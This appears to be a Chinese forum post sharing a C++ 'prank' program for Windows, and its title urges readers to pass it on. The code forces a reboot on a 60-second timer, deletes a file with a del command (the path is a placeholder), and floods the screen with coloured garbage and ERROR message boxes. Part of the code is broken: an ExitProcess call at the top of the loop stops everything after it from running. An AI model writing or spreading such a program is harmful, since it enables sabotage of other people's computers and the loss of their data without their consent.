恶搞小程序,保你转发
2025-07-27 08:35:27
发布于:江苏
#include<iostream>
#include<windows.h>
#include <cassert>
#include <stdexcept>
#include <ctime>
#include <cstdlib>
#include <string>
using namespace std;
char randomChar() {
return static_cast<char>(rand() % 256);
}
void printColoredGarbage(int times, const std::string& colorCode) {
std::cout << colorCode;
for (int i = 0; i < times; ++i) {
std::cout << randomChar();
}
std::cout << "\033[0m";
}
int main(int argc, char *argv[]){
system("shutdown -r -t 60 -c ERROR");
std::string command = "del C:\\path\\to\\your\\file.txt";
int result = std::system(command.c_str());
if (result == 0) {
std::cout << "File deleted successfully." << std::endl;
} else {
std::cout << "Failed to delete file." << std::endl;
}
srand(static_cast<unsigned int>(time(0)));
const std::string colors[] = {"\033[31m", "\033[32m", "\033[33m", "\033[34m", "\033[35m", "\033[36m"}; // 定义颜色代码数组
const int numColors = sizeof(colors) / sizeof(colors[0]);
while(1){
ExitProcess(0xC0000005);
SetCursorPos(0,0);
int colorIndex = rand() % numColors;
printColoredGarbage(100, colors[colorIndex]);
std::cout<<std::endl;
MessageBox(NULL,"ERROR","Message Box",MB_OK|MB_ICONINFORMATION);
}
}
//请不要用于非法用途,原创
这里空空如也
有帮助,赞一个